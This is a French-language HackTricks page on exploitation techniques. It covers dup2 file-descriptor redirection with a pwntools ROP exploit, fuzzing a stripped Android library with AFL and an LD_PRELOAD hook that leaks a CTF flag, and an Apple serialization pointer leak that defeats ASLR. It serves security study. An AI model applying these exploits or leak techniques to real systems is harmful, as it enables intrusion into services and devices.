Problèmes courants d’exploitation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

FDs in Remote Exploitation

Lorsque vous envoyez un exploit à un serveur distant qui appelle par exemple system('/bin/sh'), cela sera exécuté dans le processus du serveur, bien sûr, et /bin/sh attendra des entrées depuis stdin (FD: 0) et affichera la sortie sur stdout et stderr (FDs 1 et 2). Ainsi, l’attaquant ne pourra pas interagir avec le shell.

Une façon de corriger cela est de supposer qu’au démarrage le serveur a créé le numéro de FD 3 (pour l’écoute) et que votre connexion se trouvera ensuite dans le numéro de FD 4. Par conséquent, il est possible d’utiliser l’appel système dup2 pour dupliquer stdin (FD 0) et stdout (FD 1) sur le FD 4 (celui de la connexion de l’attaquant), ce qui permettra d’interagir avec le shell une fois qu’il sera exécuté.

Exploit example from here:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Notez que socat transfère déjà stdin et stdout vers le socket. Cependant, le mode pty inclut des caractères DELETE. Donc, si vous envoyez un \x7f (DELETE), il supprimera le caractère précédent de votre exploit.

Pour contourner cela, le caractère d’échappement \x16 doit être préfixé à tout \x7f envoyé.

Vous pouvez trouver un exemple de ce comportement.

Android AArch64 shared-library fuzzing & LD_PRELOAD hooking

When an Android app ships only a stripped AArch64 .so, you can still fuzz exported logic directly on-device without rebuilding the APK. Un workflow pratique :

  1. Localiser les points d’entrée appelables. objdump -T libvalidate.so | grep -E "validate" liste rapidement les fonctions exportées. Les décompilateurs (Ghidra, IDA, BN) révèlent la signature réelle, p.ex. int validate(const uint8_t *buf, uint64_t len).
  2. Write a standalone harness. Charger un fichier, garder le buffer vivant, et appeler le symbole exporté exactement comme le ferait l’app. Cross-compile avec le NDK (p.ex. aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimal file-driven harness ```c #include #include #include #include #include #include

extern int validate(const uint8_t *buf, uint64_t len);

int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }

</details>

3. **Reconstituer la structure attendue.** Les messages d'erreur et les comparaisons dans Ghidra montraient que la fonction analysait du JSON strict avec des clés constantes (`magic`, `version`, nested `root.children.*`) et des vérifications arithmétiques (p. ex., `value * 2 == 84` ⇒ `value` doit être `42`). Fournir du JSON syntaxiquement valide qui satisfait progressivement chaque branche permet de cartographier le schéma sans instrumentation.
4. **Contourner l'anti-debug pour leak des secrets.** Parce que le `.so` importe `snprintf`, le surcharger avec `LD_PRELOAD` permet de dump les chaînes de format sensibles même lorsque les breakpoints sont bloqués :

<details>
<summary>Hook minimal pour snprintf leak</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>

typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);

int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");

va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}

LD_PRELOAD=./hook.so ./validate_harness payload.json exfiltre le flag interne et confirme l’oracle de crash sans patcher le binaire. 5. Réduire l’espace de fuzz. Le désassemblage a révélé une clé XOR réutilisée dans la comparaison du flag, ce qui signifie que les sept premiers octets de flag étaient connus. Ne fuzz que les neuf octets inconnus. 6. Intégrer les fuzz bytes dans une enveloppe JSON valide. Le harness AFL lit exactement neuf octets depuis stdin, les copie dans le suffixe du flag et code en dur tous les autres champs (constantes, profondeurs d’arbre, préimage arithmétique). Toute lecture malformée provoque simplement une sortie, donc AFL consacre ses cycles à des cas de test pertinents :

Minimal AFL harness ```c #include #include #include #include

extern int validate(unsigned char *bytes, size_t len);

#define FUZZ_SIZE 9

int main(void) { uint8_t blob[FUZZ_SIZE]; if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0; char suffix[FUZZ_SIZE + 1]; memcpy(suffix, blob, FUZZ_SIZE); suffix[FUZZ_SIZE] = ‘\0’; char json[512]; int len = snprintf(json, sizeof(json), “{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”, suffix); if (len <= 0 || (size_t)len >= sizeof(json)) return 0; validate((unsigned char *)json, len); return 0; }

</details>

7. **Run AFL with the crash-as-success oracle.** Any input that satisfies every semantic check and guesses the correct nine-byte suffix triggers the deliberate crash; those files land in `output/crashes` and can be replayed through the simple harness to recover the secret.

This workflow lets you triage anti-debug-protected JNI validators quickly, leak secrets when needed, then fuzz only the meaningful bytes, all without touching the original APK.

## Image/Media Parsing Exploits (DNG/TIFF/JPEG)

Les formats d'appareil photo malveillants incluent souvent leur propre bytecode (opcode lists, map tables, tone curves). Quand un décodeur privilégié n'effectue pas de vérification des bornes sur les dimensions dérivées des métadonnées ou les plane indices, ces opcodes deviennent des primitives read/write contrôlées par l'attaquant qui peuvent groom the heap, pivot pointers, ou même leak ASLR. L'exploit Quram de Samsung observé in-the-wild est un exemple récent d'enchaînement d'un bug de bornes `DeltaPerColumn`, de heap spraying via skipped opcodes, de vtable remapping et d'une JOP chain vers `system()`.

<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>

## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization

### Requirements & attack surface

- Un service accepte des property lists contrôlées par l'attaquant (XML ou binaire) et appelle `NSKeyedUnarchiver.unarchivedObjectOfClasses` avec une allowlist permissive (e.g., `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- Les objets résultants sont réutilisés et plus tard sérialisés de nouveau avec `NSKeyedArchiver` (ou itérés dans l'ordre déterministe des buckets) et renvoyés à l'attaquant.
- Un type de clé présent dans les conteneurs utilise les valeurs de pointeur comme code de hachage. Before March 2025, `CFNull`/`NSNull` fell back to `CFHash(object) == (uintptr_t)object`, and deserialization always returned the shared-cache singleton `kCFNull`, giving a stable kernel-shared pointer without memory corruption or timing.

### Controllable hashing primitives

- **Hachage basé sur les pointeurs :** La `CFRuntimeClass` de `CFNull` n'a pas de callback de hash, donc `CFBasicHash` utilise l'adresse de l'objet comme hash. Parce que le singleton réside à une adresse fixe dans le shared-cache jusqu'au reboot, son hash est stable entre processus.
- **Attacker-controlled hashes :** Les clés `NSNumber` 32-bit sont hachées via `_CFHashInt`, qui est déterministe et contrôlable par l'attaquant. Choisir des entiers spécifiques permet à l'attaquant de choisir `hash(number) % num_buckets` pour n'importe quelle taille de table.
- **`NSDictionary` implementation :** Les dictionnaires immuables intègrent un `CFBasicHash` avec un nombre de buckets premier choisi parmi `__CFBasicHashTableSizes` (e.g., 23, 41, 71, 127, 191, 251, 383, 631, 1087). Les collisions sont gérées par sondage linéaire (`__kCFBasicHashLinearHashingValue`), et la sérialisation parcourt les buckets dans l'ordre numérique ; par conséquent, l'ordre des clés sérialisées encode l'index de bucket que chaque clé a finalement occupé.

### Encoding bucket indices into serialization order

En fabriquant un plist qui matérialise un dictionnaire dont les buckets alternent entre cases occupées et vides, l'attaquant contraint où le sondage linéaire peut placer `NSNull`. Pour un exemple à 7 buckets, remplir les buckets pairs avec des clés `NSNumber` produit:
```text
bucket:          0 1 2 3 4 5 6
occupancy:       # _ # _ # _ #

During deserialization la victime insère la clé unique NSNull. Son bucket initial est hash(NSNull) % 7, mais le probing avance jusqu’à atteindre un des indices ouverts {1,3,5}. L’ordre des clés sérialisées révèle quel emplacement a été utilisé, indiquant si le hash du pointeur modulo 7 se trouve dans {6,0,1}, {2,3} ou {4,5}. Parce que l’attaquant contrôle l’ordre sérialisé initial, la clé NSNull est émise en dernier dans le plist d’entrée, donc l’ordre post-reserialization est uniquement fonction du placement des buckets.

Resolving exact residues with complementary tables

A single dictionary only leaks a range of residues. To determine the precise value of hash(NSNull) % p, build two dictionaries per prime bucket size p: one with even buckets pre-filled and one with odd buckets pre-filled. For the complementary pattern (_ # _ # _ # _), the empty slots (0,2,4,6) map to residue sets {0}, {1,2}, {3,4}, {5,6}. Observing the serialized position of NSNull in both dictionaries narrows the residue to a single value because the intersection of the two candidate sets yields a unique r_i for that p.

The attacker bundles all dictionaries inside an NSArray, so a single deserialize → serialize round trip leaks residues for every chosen table size.

Reconstructing the 64-bit shared-cache pointer

For each prime p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, the attacker recovers hash(NSNull) ≡ r_i (mod p_i) from the serialized ordering. Applying the théorème des restes chinois (CRT) with the extended Euclidean algorithm yields:

Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64

ainsi, le résidu combiné correspond de manière unique au pointeur 64 bits vers kCFNull. Le Project Zero PoC combine itérativement des congruences tout en affichant les modules intermédiaires pour montrer la convergence vers l’adresse réelle (0x00000001eb91ab60 sur la build vulnérable).

Flux de travail pratique

  1. Générer l’entrée forgée : Construire le plist XML côté attaquant (deux dictionaries par prime, NSNull sérialisé en dernier) et le convertir au format binaire.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
  1. Aller-retour de la victime : Le service victime désérialise avec NSKeyedUnarchiver.unarchivedObjectOfClasses en utilisant l’ensemble de classes autorisées {NSDictionary, NSArray, NSNumber, NSString, NSNull} et re-sérialise immédiatement avec NSKeyedArchiver.
  2. Extraction du résidu : La conversion du plist retourné en XML révèle l’ordre des clés du dictionnaire. Un utilitaire tel que extract-pointer.c lit la table d’objets, détermine l’index du singleton NSNull, mappe chaque paire de dictionnaire à son résidu de bucket, et résout le système CRT pour récupérer le pointeur shared-cache.
  3. Vérification (optionnelle) : Compiler un petit utilitaire Objective-C qui affiche CFHash(kCFNull) confirme que la valeur leakée correspond à la vraie adresse.

Aucun bug de sécurité mémoire n’est requis — observer simplement l’ordre de sérialisation des structures à clés pointeur permet d’obtenir une primitive de contournement d’ASLR à distance.

Pages associées

Common Exploiting Problems Unsafe Relocation Fixups

Reversing Native Libraries

Reversing Tools & Basic Methods

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks